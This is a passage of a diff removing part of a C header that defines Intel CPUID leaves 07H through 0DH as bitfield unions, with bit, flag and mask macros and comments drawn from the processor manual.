(((_) >> 21) & 0x01) - uint32_t reserved1 : 1; - - /** - * [Bit 23] CLFLUSHOPT. - */ - uint32_t clflushopt : 1; -#define CPUID_EBX_CLFLUSHOPT_BIT 23 -#define CPUID_EBX_CLFLUSHOPT_FLAG 0x800000 -#define CPUID_EBX_CLFLUSHOPT_MASK 0x01 -#define CPUID_EBX_CLFLUSHOPT(_) (((_) >> 23) & 0x01) - - /** - * [Bit 24] CLWB. - */ - uint32_t clwb : 1; -#define CPUID_EBX_CLWB_BIT 24 -#define CPUID_EBX_CLWB_FLAG 0x1000000 -#define CPUID_EBX_CLWB_MASK 0x01 -#define CPUID_EBX_CLWB(_) (((_) >> 24) & 0x01) - - /** - * [Bit 25] Intel Processor Trace. - */ - uint32_t intel : 1; -#define CPUID_EBX_INTEL_BIT 25 -#define CPUID_EBX_INTEL_FLAG 0x2000000 -#define CPUID_EBX_INTEL_MASK 0x01 -#define CPUID_EBX_INTEL(_) (((_) >> 25) & 0x01) - - /** - * [Bit 26] (Intel(R) Xeon Phi(TM) only). - */ - uint32_t avx512pf : 1; -#define CPUID_EBX_AVX512PF_BIT 26 -#define CPUID_EBX_AVX512PF_FLAG 0x4000000 -#define CPUID_EBX_AVX512PF_MASK 0x01 -#define CPUID_EBX_AVX512PF(_) (((_) >> 26) & 0x01) - - /** - * [Bit 27] (Intel(R) Xeon Phi(TM) only). - */ - uint32_t avx512er : 1; -#define CPUID_EBX_AVX512ER_BIT 27 -#define CPUID_EBX_AVX512ER_FLAG 0x8000000 -#define CPUID_EBX_AVX512ER_MASK 0x01 -#define CPUID_EBX_AVX512ER(_) (((_) >> 27) & 0x01) - - /** - * [Bit 28] AVX512CD. - */ - uint32_t avx512cd : 1; -#define CPUID_EBX_AVX512CD_BIT 28 -#define CPUID_EBX_AVX512CD_FLAG 0x10000000 -#define CPUID_EBX_AVX512CD_MASK 0x01 -#define CPUID_EBX_AVX512CD(_) (((_) >> 28) & 0x01) - - /** - * [Bit 29] Supports Intel(R) Secure Hash Algorithm Extensions (Intel(R) SHA Extensions) if 1. - */ - uint32_t sha : 1; -#define CPUID_EBX_SHA_BIT 29 -#define CPUID_EBX_SHA_FLAG 0x20000000 -#define CPUID_EBX_SHA_MASK 0x01 -#define CPUID_EBX_SHA(_) (((_) >> 29) & 0x01) - - /** - * [Bit 30] AVX512BW. - */ - uint32_t avx512bw : 1; -#define CPUID_EBX_AVX512BW_BIT 30 -#define CPUID_EBX_AVX512BW_FLAG 0x40000000 -#define CPUID_EBX_AVX512BW_MASK 0x01 -#define CPUID_EBX_AVX512BW(_) (((_) >> 30) & 0x01) - - /** - * [Bit 31] AVX512VL. - */ - uint32_t avx512vl : 1; -#define CPUID_EBX_AVX512VL_BIT 31 -#define CPUID_EBX_AVX512VL_FLAG 0x80000000 -#define CPUID_EBX_AVX512VL_MASK 0x01 -#define CPUID_EBX_AVX512VL(_) (((_) >> 31) & 0x01) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bit 0] (Intel(R) Xeon Phi(TM) only). - */ - uint32_t prefetchwt1 : 1; -#define CPUID_ECX_PREFETCHWT1_BIT 0 -#define CPUID_ECX_PREFETCHWT1_FLAG 0x01 -#define CPUID_ECX_PREFETCHWT1_MASK 0x01 -#define CPUID_ECX_PREFETCHWT1(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] AVX512_VBMI. - */ - uint32_t avx512_vbmi : 1; -#define CPUID_ECX_AVX512_VBMI_BIT 1 -#define CPUID_ECX_AVX512_VBMI_FLAG 0x02 -#define CPUID_ECX_AVX512_VBMI_MASK 0x01 -#define CPUID_ECX_AVX512_VBMI(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Supports user-mode instruction prevention if 1. - */ - uint32_t umip : 1; -#define CPUID_ECX_UMIP_BIT 2 -#define CPUID_ECX_UMIP_FLAG 0x04 -#define CPUID_ECX_UMIP_MASK 0x01 -#define CPUID_ECX_UMIP(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Supports protection keys for user-mode pages if 1. - */ - uint32_t pku : 1; -#define CPUID_ECX_PKU_BIT 3 -#define CPUID_ECX_PKU_FLAG 0x08 -#define CPUID_ECX_PKU_MASK 0x01 -#define CPUID_ECX_PKU(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] If 1, OS has set CR4.PKE to enable protection keys (and the RDPKRU/WRPKRU instructions). - */ - uint32_t ospke : 1; -#define CPUID_ECX_OSPKE_BIT 4 -#define CPUID_ECX_OSPKE_FLAG 0x10 -#define CPUID_ECX_OSPKE_MASK 0x01 -#define CPUID_ECX_OSPKE(_) (((_) >> 4) & 0x01) - uint32_t reserved1 : 12; - - /** - * [Bits 21:17] The value of MAWAU used by the BNDLDX and BNDSTX instructions in 64-bit mode. - */ - uint32_t mawau : 5; -#define CPUID_ECX_MAWAU_BIT 17 -#define CPUID_ECX_MAWAU_FLAG 0x3E0000 -#define CPUID_ECX_MAWAU_MASK 0x1F -#define CPUID_ECX_MAWAU(_) (((_) >> 17) & 0x1F) - - /** - * [Bit 22] RDPID and IA32_TSC_AUX are available if 1. - */ - uint32_t rdpid : 1; -#define CPUID_ECX_RDPID_BIT 22 -#define CPUID_ECX_RDPID_FLAG 0x400000 -#define CPUID_ECX_RDPID_MASK 0x01 -#define CPUID_ECX_RDPID(_) (((_) >> 22) & 0x01) - uint32_t reserved2 : 7; - - /** - * [Bit 30] Supports SGX Launch Configuration if 1. - */ - uint32_t sgx_lc : 1; -#define CPUID_ECX_SGX_LC_BIT 30 -#define CPUID_ECX_SGX_LC_FLAG 0x40000000 -#define CPUID_ECX_SGX_LC_MASK 0x01 -#define CPUID_ECX_SGX_LC(_) (((_) >> 30) & 0x01) - uint32_t reserved3 : 1; - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_07; - - -/** - * @brief Direct Cache Access Information Leaf - * - * When CPUID executes with EAX set to 09H, the processor returns information about Direct Cache Access capabilities. - */ -#define CPUID_DIRECT_CACHE_ACCESS_INFORMATION 0x00000009 -typedef struct -{ - union - { - struct - { - /** - * [Bits 31:0] Value of bits [31:0] of IA32_PLATFORM_DCA_CAP MSR (address 1F8H). - */ - uint32_t ia32_platform_dca_cap : 32; -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_BIT 0 -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_FLAG 0xFFFFFFFF -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP_MASK 0xFFFFFFFF -#define CPUID_EAX_IA32_PLATFORM_DCA_CAP(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] EBX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EBX_RESERVED_BIT 0 -#define CPUID_EBX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EBX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EBX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] ECX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_ECX_RESERVED_BIT 0 -#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] EDX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_EDX_RESERVED_BIT 0 -#define CPUID_EDX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_EDX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_EDX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_09; - - -/** - * @brief Architectural Performance Monitoring Leaf - * - * When CPUID executes with EAX set to 0AH, the processor returns information about support for architectural performance - * monitoring capabilities. Architectural performance monitoring is supported if the version ID is greater than Pn 0. For - * each version of architectural performance monitoring capability, software must enumerate this leaf to discover the - * programming facilities and the architectural performance events available in the processor. - * - * @see Vol3C[23(Introduction to Virtual-Machine Extensions)] - */ -#define CPUID_ARCHITECTURAL_PERFORMANCE_MONITORING 0x0000000A -typedef struct -{ - union - { - struct - { - /** - * [Bits 7:0] Version ID of architectural performance monitoring. - */ - uint32_t version_id_of_architectural_performance_monitoring : 8; -#define CPUID_EAX_VERSION_ID_OF_ARCHITECTURAL_PERFORMANCE_MONITORING_BIT 0 -#define CPUID_EAX_VERSION_ID_OF_ARCHITECTURAL_PERFORMANCE_MONITORING_FLAG 0xFF -#define CPUID_EAX_VERSION_ID_OF_ARCHITECTURAL_PERFORMANCE_MONITORING_MASK 0xFF -#define CPUID_EAX_VERSION_ID_OF_ARCHITECTURAL_PERFORMANCE_MONITORING(_) (((_) >> 0) & 0xFF) - - /** - * [Bits 15:8] Number of general-purpose performance monitoring counter per logical processor. - */ - uint32_t number_of_performance_monitoring_counter_per_logical_processor : 8; -#define CPUID_EAX_NUMBER_OF_PERFORMANCE_MONITORING_COUNTER_PER_LOGICAL_PROCESSOR_BIT 8 -#define CPUID_EAX_NUMBER_OF_PERFORMANCE_MONITORING_COUNTER_PER_LOGICAL_PROCESSOR_FLAG 0xFF00 -#define CPUID_EAX_NUMBER_OF_PERFORMANCE_MONITORING_COUNTER_PER_LOGICAL_PROCESSOR_MASK 0xFF -#define CPUID_EAX_NUMBER_OF_PERFORMANCE_MONITORING_COUNTER_PER_LOGICAL_PROCESSOR(_) (((_) >> 8) & 0xFF) - - /** - * [Bits 23:16] Bit width of general-purpose, performance monitoring counter. - */ - uint32_t bit_width_of_performance_monitoring_counter : 8; -#define CPUID_EAX_BIT_WIDTH_OF_PERFORMANCE_MONITORING_COUNTER_BIT 16 -#define CPUID_EAX_BIT_WIDTH_OF_PERFORMANCE_MONITORING_COUNTER_FLAG 0xFF0000 -#define CPUID_EAX_BIT_WIDTH_OF_PERFORMANCE_MONITORING_COUNTER_MASK 0xFF -#define CPUID_EAX_BIT_WIDTH_OF_PERFORMANCE_MONITORING_COUNTER(_) (((_) >> 16) & 0xFF) - - /** - * [Bits 31:24] Length of EBX bit vector to enumerate architectural performance monitoring events. - */ - uint32_t ebx_bit_vector_length : 8; -#define CPUID_EAX_EBX_BIT_VECTOR_LENGTH_BIT 24 -#define CPUID_EAX_EBX_BIT_VECTOR_LENGTH_FLAG 0xFF000000 -#define CPUID_EAX_EBX_BIT_VECTOR_LENGTH_MASK 0xFF -#define CPUID_EAX_EBX_BIT_VECTOR_LENGTH(_) (((_) >> 24) & 0xFF) - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bit 0] Core cycle event not available if 1. - */ - uint32_t core_cycle_event_not_available : 1; -#define CPUID_EBX_CORE_CYCLE_EVENT_NOT_AVAILABLE_BIT 0 -#define CPUID_EBX_CORE_CYCLE_EVENT_NOT_AVAILABLE_FLAG 0x01 -#define CPUID_EBX_CORE_CYCLE_EVENT_NOT_AVAILABLE_MASK 0x01 -#define CPUID_EBX_CORE_CYCLE_EVENT_NOT_AVAILABLE(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Instruction retired event not available if 1. - */ - uint32_t instruction_retired_event_not_available : 1; -#define CPUID_EBX_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_BIT 1 -#define CPUID_EBX_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_FLAG 0x02 -#define CPUID_EBX_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_MASK 0x01 -#define CPUID_EBX_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Reference cycles event not available if 1. - */ - uint32_t reference_cycles_event_not_available : 1; -#define CPUID_EBX_REFERENCE_CYCLES_EVENT_NOT_AVAILABLE_BIT 2 -#define CPUID_EBX_REFERENCE_CYCLES_EVENT_NOT_AVAILABLE_FLAG 0x04 -#define CPUID_EBX_REFERENCE_CYCLES_EVENT_NOT_AVAILABLE_MASK 0x01 -#define CPUID_EBX_REFERENCE_CYCLES_EVENT_NOT_AVAILABLE(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Last-level cache reference event not available if 1. - */ - uint32_t last_level_cache_reference_event_not_available : 1; -#define CPUID_EBX_LAST_LEVEL_CACHE_REFERENCE_EVENT_NOT_AVAILABLE_BIT 3 -#define CPUID_EBX_LAST_LEVEL_CACHE_REFERENCE_EVENT_NOT_AVAILABLE_FLAG 0x08 -#define CPUID_EBX_LAST_LEVEL_CACHE_REFERENCE_EVENT_NOT_AVAILABLE_MASK 0x01 -#define CPUID_EBX_LAST_LEVEL_CACHE_REFERENCE_EVENT_NOT_AVAILABLE(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Last-level cache misses event not available if 1. - */ - uint32_t last_level_cache_misses_event_not_available : 1; -#define CPUID_EBX_LAST_LEVEL_CACHE_MISSES_EVENT_NOT_AVAILABLE_BIT 4 -#define CPUID_EBX_LAST_LEVEL_CACHE_MISSES_EVENT_NOT_AVAILABLE_FLAG 0x10 -#define CPUID_EBX_LAST_LEVEL_CACHE_MISSES_EVENT_NOT_AVAILABLE_MASK 0x01 -#define CPUID_EBX_LAST_LEVEL_CACHE_MISSES_EVENT_NOT_AVAILABLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Branch instruction retired event not available if 1. - */ - uint32_t branch_instruction_retired_event_not_available : 1; -#define CPUID_EBX_BRANCH_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_BIT 5 -#define CPUID_EBX_BRANCH_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_FLAG 0x20 -#define CPUID_EBX_BRANCH_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE_MASK 0x01 -#define CPUID_EBX_BRANCH_INSTRUCTION_RETIRED_EVENT_NOT_AVAILABLE(_) (((_) >> 5) & 0x01) - - /** - * [Bit 6] Branch mispredict retired event not available if 1. - */ - uint32_t branch_mispredict_retired_event_not_available : 1; -#define CPUID_EBX_BRANCH_MISPREDICT_RETIRED_EVENT_NOT_AVAILABLE_BIT 6 -#define CPUID_EBX_BRANCH_MISPREDICT_RETIRED_EVENT_NOT_AVAILABLE_FLAG 0x40 -#define CPUID_EBX_BRANCH_MISPREDICT_RETIRED_EVENT_NOT_AVAILABLE_MASK 0x01 -#define CPUID_EBX_BRANCH_MISPREDICT_RETIRED_EVENT_NOT_AVAILABLE(_) (((_) >> 6) & 0x01) - uint32_t reserved1 : 25; - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] ECX is reserved. - */ - uint32_t reserved : 32; -#define CPUID_ECX_RESERVED_BIT 0 -#define CPUID_ECX_RESERVED_FLAG 0xFFFFFFFF -#define CPUID_ECX_RESERVED_MASK 0xFFFFFFFF -#define CPUID_ECX_RESERVED(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 4:0] Number of fixed-function performance counters (if Version ID > 1). - */ - uint32_t number_of_fixed_function_performance_counters : 5; -#define CPUID_EDX_NUMBER_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_BIT 0 -#define CPUID_EDX_NUMBER_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_FLAG 0x1F -#define CPUID_EDX_NUMBER_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_MASK 0x1F -#define CPUID_EDX_NUMBER_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS(_) (((_) >> 0) & 0x1F) - - /** - * [Bits 12:5] Bit width of fixed-function performance counters (if Version ID > 1). - */ - uint32_t bit_width_of_fixed_function_performance_counters : 8; -#define CPUID_EDX_BIT_WIDTH_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_BIT 5 -#define CPUID_EDX_BIT_WIDTH_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_FLAG 0x1FE0 -#define CPUID_EDX_BIT_WIDTH_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS_MASK 0xFF -#define CPUID_EDX_BIT_WIDTH_OF_FIXED_FUNCTION_PERFORMANCE_COUNTERS(_) (((_) >> 5) & 0xFF) - uint32_t reserved1 : 2; - - /** - * [Bit 15] AnyThread deprecation. - */ - uint32_t any_thread_deprecation : 1; -#define CPUID_EDX_ANY_THREAD_DEPRECATION_BIT 15 -#define CPUID_EDX_ANY_THREAD_DEPRECATION_FLAG 0x8000 -#define CPUID_EDX_ANY_THREAD_DEPRECATION_MASK 0x01 -#define CPUID_EDX_ANY_THREAD_DEPRECATION(_) (((_) >> 15) & 0x01) - uint32_t reserved2 : 16; - }; - - uint32_t flags; - } edx; - -} cpuid_eax_0a; - - -/** - * @brief Extended Topology Enumeration Leaf - * - * When CPUID executes with EAX set to 0BH, the processor returns information about extended topology enumeration data. - * Software must detect the presence of CPUID leaf 0BH by verifying - * - the highest leaf index supported by CPUID is >= 0BH, and - * - CPUID.0BH:EBX[15:0] reports a non-zero value. - * - * @note Most of Leaf 0BH output depends on the initial value in ECX. The EDX output of leaf 0BH is always valid and does - * not vary with input value in ECX. Output value in ECX[7:0] always equals input value in ECX[7:0]. Sub-leaf index 0 - * enumerates SMT level. Each subsequent higher sub-leaf index enumerates a higherlevel topological entity in hierarchical - * order. For sub-leaves that return an invalid level-type of 0 in ECX[15:8]; EAX and EBX will return 0. If an input value - * n in ECX returns the invalid level-type of 0 in ECX[15:8], other input values with ECX > n also return 0 in ECX[15:8]. - */ -#define CPUID_EXTENDED_TOPOLOGY 0x0000000B -typedef struct -{ - union - { - struct - { - /** - * [Bits 4:0] Number of bits to shift right on x2APIC ID to get a unique topology ID of the next level type. All logical - * processors with the same next level ID share current level. - * - * @note Software should use this field (EAX[4:0]) to enumerate processor topology of the system. - */ - uint32_t x2apic_id_to_unique_topology_id_shift : 5; -#define CPUID_EAX_X2APIC_ID_TO_UNIQUE_TOPOLOGY_ID_SHIFT_BIT 0 -#define CPUID_EAX_X2APIC_ID_TO_UNIQUE_TOPOLOGY_ID_SHIFT_FLAG 0x1F -#define CPUID_EAX_X2APIC_ID_TO_UNIQUE_TOPOLOGY_ID_SHIFT_MASK 0x1F -#define CPUID_EAX_X2APIC_ID_TO_UNIQUE_TOPOLOGY_ID_SHIFT(_) (((_) >> 0) & 0x1F) - uint32_t reserved1 : 27; - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 15:0] Number of logical processors at this level type. The number reflects configuration as shipped by Intel. - * - * @note Software must not use EBX[15:0] to enumerate processor topology of the system. This value in this field - * (EBX[15:0]) is only intended for display/diagnostic purposes. The actual number of logical processors available to - * BIOS/OS/Applications may be different from the value of EBX[15:0], depending on software and platform hardware - * configurations. - */ - uint32_t number_of_logical_processors_at_this_level_type : 16; -#define CPUID_EBX_NUMBER_OF_LOGICAL_PROCESSORS_AT_THIS_LEVEL_TYPE_BIT 0 -#define CPUID_EBX_NUMBER_OF_LOGICAL_PROCESSORS_AT_THIS_LEVEL_TYPE_FLAG 0xFFFF -#define CPUID_EBX_NUMBER_OF_LOGICAL_PROCESSORS_AT_THIS_LEVEL_TYPE_MASK 0xFFFF -#define CPUID_EBX_NUMBER_OF_LOGICAL_PROCESSORS_AT_THIS_LEVEL_TYPE(_) (((_) >> 0) & 0xFFFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 7:0] Level number. Same value in ECX input. - */ - uint32_t level_number : 8; -#define CPUID_ECX_LEVEL_NUMBER_BIT 0 -#define CPUID_ECX_LEVEL_NUMBER_FLAG 0xFF -#define CPUID_ECX_LEVEL_NUMBER_MASK 0xFF -#define CPUID_ECX_LEVEL_NUMBER(_) (((_) >> 0) & 0xFF) - - /** - * [Bits 15:8] Level type. - * - * @note The value of the "level type" field is not related to level numbers in any way, higher "level type" values do not - * mean higher levels. Level type field has the following encoding: - * - 0: Invalid. - * - 1: SMT. - * - 2: Core. - * - 3-255: Reserved. - */ - uint32_t level_type : 8; -#define CPUID_ECX_LEVEL_TYPE_BIT 8 -#define CPUID_ECX_LEVEL_TYPE_FLAG 0xFF00 -#define CPUID_ECX_LEVEL_TYPE_MASK 0xFF -#define CPUID_ECX_LEVEL_TYPE(_) (((_) >> 8) & 0xFF) - uint32_t reserved1 : 16; - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] x2APIC ID the current logical processor. - */ - uint32_t x2apic_id : 32; -#define CPUID_EDX_X2APIC_ID_BIT 0 -#define CPUID_EDX_X2APIC_ID_FLAG 0xFFFFFFFF -#define CPUID_EDX_X2APIC_ID_MASK 0xFFFFFFFF -#define CPUID_EDX_X2APIC_ID(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_0b; - -/** - * @defgroup cpuid_eax_0d \ - * EAX = 0x0D - * - * When CPUID executes with EAX set to 0DH and ECX = 0, the processor returns information about the bit-vector - * representation of all processor state extensions that are supported in the processor and storage size requirements of - * the XSAVE/XRSTOR area. - * When CPUID executes with EAX set to 0DH and ECX = n (n > 1, and is a valid sub-leaf index), the processor returns - * information about the size and offset of each processor extended state save area within the XSAVE/XRSTOR area. Software - * can use the forward-extendable technique depicted below to query the valid sub-leaves and obtain size and offset - * information for each processor extended state save area: - *
 For i = 2 to 62 // sub-leaf 1 is reserved IF (CPUID.(EAX=0DH, ECX=0):VECTOR[i] = 1) // VECTOR is the 64-bit value
- * of EDX:EAX Execute CPUID.(EAX=0DH, ECX = i) to examine size and offset for sub-leaf i; FI; 
- * @{ - */ -#define CPUID_EXTENDED_STATE_INFORMATION 0x0000000D - /** - * @brief Processor Extended State Enumeration Main Leaf (EAX = 0DH, ECX = 0) - */ -typedef struct -{ - /** - * @brief Reports the supported bits of the lower 32 bits of XCR0. XCR0[n] can be set to 1 only if EAX[n] is 1 - */ - union - { - struct - { - /** - * [Bit 0] x87 state. - */ - uint32_t x87_state : 1; -#define CPUID_EAX_X87_STATE_BIT 0 -#define CPUID_EAX_X87_STATE_FLAG 0x01 -#define CPUID_EAX_X87_STATE_MASK 0x01 -#define CPUID_EAX_X87_STATE(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] SSE state. - */ - uint32_t sse_state : 1; -#define CPUID_EAX_SSE_STATE_BIT 1 -#define CPUID_EAX_SSE_STATE_FLAG 0x02 -#define CPUID_EAX_SSE_STATE_MASK 0x01 -#define CPUID_EAX_SSE_STATE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] AVX state. - */ - uint32_t avx_state : 1; -#define CPUID_EAX_AVX_STATE_BIT 2 -#define CPUID_EAX_AVX_STATE_FLAG 0x04 -#define CPUID_EAX_AVX_STATE_MASK 0x01 -#define CPUID_EAX_AVX_STATE(_) (((_) >> 2) & 0x01) - - /** - * [Bits 4:3] MPX state. - */ - uint32_t mpx_state : 2; -#define CPUID_EAX_MPX_STATE_BIT 3 -#define CPUID_EAX_MPX_STATE_FLAG 0x18 -#define CPUID_EAX_MPX_STATE_MASK 0x03 -#define CPUID_EAX_MPX_STATE(_) (((_) >> 3) & 0x03) - - /** - * [Bits 7:5] AVX-512 state. - */ - uint32_t avx_512_state : 3; -#define CPUID_EAX_AVX_512_STATE_BIT 5 -#define CPUID_EAX_AVX_512_STATE_FLAG 0xE0 -#define CPUID_EAX_AVX_512_STATE_MASK 0x07 -#define CPUID_EAX_AVX_512_STATE(_) (((_) >> 5) & 0x07) - - /** - * [Bit 8] Used for IA32_XSS. - */ - uint32_t used_for_ia32_xss_1 : 1; -#define CPUID_EAX_USED_FOR_IA32_XSS_1_BIT 8 -#define CPUID_EAX_USED_FOR_IA32_XSS_1_FLAG 0x100 -#define CPUID_EAX_USED_FOR_IA32_XSS_1_MASK 0x01 -#define CPUID_EAX_USED_FOR_IA32_XSS_1(_) (((_) >> 8) & 0x01) - - /** - * [Bit 9] PKRU state. - */ - uint32_t pkru_state : 1; -#define CPUID_EAX_PKRU_STATE_BIT 9 -#define CPUID_EAX_PKRU_STATE_FLAG 0x200 -#define CPUID_EAX_PKRU_STATE_MASK 0x01 -#define CPUID_EAX_PKRU_STATE(_) (((_) >> 9) & 0x01) - uint32_t reserved1 : 3; - - /** - * [Bit 13] Used for IA32_XSS. - */ - uint32_t used_for_ia32_xss_2 : 1; -#define CPUID_EAX_USED_FOR_IA32_XSS_2_BIT 13 -#define CPUID_EAX_USED_FOR_IA32_XSS_2_FLAG 0x2000 -#define CPUID_EAX_USED_FOR_IA32_XSS_2_MASK 0x01 -#define CPUID_EAX_USED_FOR_IA32_XSS_2(_) (((_) >> 13) & 0x01) - uint32_t reserved2 : 18; - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] Maximum size (bytes, from the beginning of the XSAVE/XRSTOR save area) required by enabled features in XCR0. - * May be different than ECX if some features at the end of the XSAVE save area are not enabled. - */ - uint32_t max_size_required_by_enabled_features_in_xcr0 : 32; -#define CPUID_EBX_MAX_SIZE_REQUIRED_BY_ENABLED_FEATURES_IN_XCR0_BIT 0 -#define CPUID_EBX_MAX_SIZE_REQUIRED_BY_ENABLED_FEATURES_IN_XCR0_FLAG 0xFFFFFFFF -#define CPUID_EBX_MAX_SIZE_REQUIRED_BY_ENABLED_FEATURES_IN_XCR0_MASK 0xFFFFFFFF -#define CPUID_EBX_MAX_SIZE_REQUIRED_BY_ENABLED_FEATURES_IN_XCR0(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ebx; - - union - { - struct - { - /** - * [Bits 31:0] Maximum size (bytes, from the beginning of the XSAVE/XRSTOR save area) of the XSAVE/XRSTOR save area - * required by all supported features in the processor, i.e., all the valid bit fields in XCR0. - */ - uint32_t max_size_of_xsave_xrstor_save_area : 32; -#define CPUID_ECX_MAX_SIZE_OF_XSAVE_XRSTOR_SAVE_AREA_BIT 0 -#define CPUID_ECX_MAX_SIZE_OF_XSAVE_XRSTOR_SAVE_AREA_FLAG 0xFFFFFFFF -#define CPUID_ECX_MAX_SIZE_OF_XSAVE_XRSTOR_SAVE_AREA_MASK 0xFFFFFFFF -#define CPUID_ECX_MAX_SIZE_OF_XSAVE_XRSTOR_SAVE_AREA(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } ecx; - - union - { - struct - { - /** - * [Bits 31:0] Reports the supported bits of the upper 32 bits of XCR0. XCR0[n+32] can be set to 1 only if EDX[n] is 1. - */ - uint32_t xcr0_supported_bits : 32; -#define CPUID_EDX_XCR0_SUPPORTED_BITS_BIT 0 -#define CPUID_EDX_XCR0_SUPPORTED_BITS_FLAG 0xFFFFFFFF -#define CPUID_EDX_XCR0_SUPPORTED_BITS_MASK 0xFFFFFFFF -#define CPUID_EDX_XCR0_SUPPORTED_BITS(_) (((_) >> 0) & 0xFFFFFFFF) - }; - - uint32_t flags; - } edx; - -} cpuid_eax_0d_ecx_00; - -/** - * @brief Direct Cache Access Information Leaf - */ -typedef struct -{ - union - { - struct - { - uint32_t reserved1 : 1; - - /** - * [Bit 1] Supports XSAVEC and the compacted form of XRSTOR if set. - */ - uint32_t supports_xsavec_and_compacted_xrstor : 1; -#define CPUID_EAX_SUPPORTS_XSAVEC_AND_COMPACTED_XRSTOR_BIT 1 -#define CPUID_EAX_SUPPORTS_XSAVEC_AND_COMPACTED_XRSTOR_FLAG 0x02 -#define CPUID_EAX_SUPPORTS_XSAVEC_AND_COMPACTED_XRSTOR_MASK 0x01 -#define CPUID_EAX_SUPPORTS_XSAVEC_AND_COMPACTED_XRSTOR(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] Supports XGETBV with ECX = 1 if set. - */ - uint32_t supports_xgetbv_with_ecx_1 : 1; -#define CPUID_EAX_SUPPORTS_XGETBV_WITH_ECX_1_BIT 2 -#define CPUID_EAX_SUPPORTS_XGETBV_WITH_ECX_1_FLAG 0x04 -#define CPUID_EAX_SUPPORTS_XGETBV_WITH_ECX_1_MASK 0x01 -#define CPUID_EAX_SUPPORTS_XGETBV_WITH_ECX_1(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Supports XSAVES/XRSTORS and IA32_XSS if set. - */ - uint32_t supports_xsave_xrstor_and_ia32_xss : 1; -#define CPUID_EAX_SUPPORTS_XSAVE_XRSTOR_AND_IA32_XSS_BIT 3 -#define CPUID_EAX_SUPPORTS_XSAVE_XRSTOR_AND_IA32_XSS_FLAG 0x08 -#define CPUID_EAX_SUPPORTS_XSAVE_XRSTOR_AND_IA32_XSS_MASK 0x01 -#define CPUID_EAX_SUPPORTS_XSAVE_XRSTOR_AND_IA32_XSS(_) (((_) >> 3) & 0x01) - uint32_t reserved2 : 28; - }; - - uint32_t flags; - } eax; - - union - { - struct - { - /** - * [Bits 31:0] The size in bytes of the XSAVE area containing all states enabled by XCRO | IA32_XSS. - */ - uint32_t size_of_xsave_aread : 32; -#define CPUID_EBX_SIZE_OF_XSAVE_AREAD_BIT 0 -#define CPUID_EBX_SIZE_OF_XSAVE_AREAD_FLAG 0xFFFFFFFF -#define CPUID_EBX_SIZE_OF_XSAVE_AREAD_MASK 0xFFFFFFFF -#define CPUID_EBX_SIZE_OF_XSAVE_AREAD(_) (((_) >> 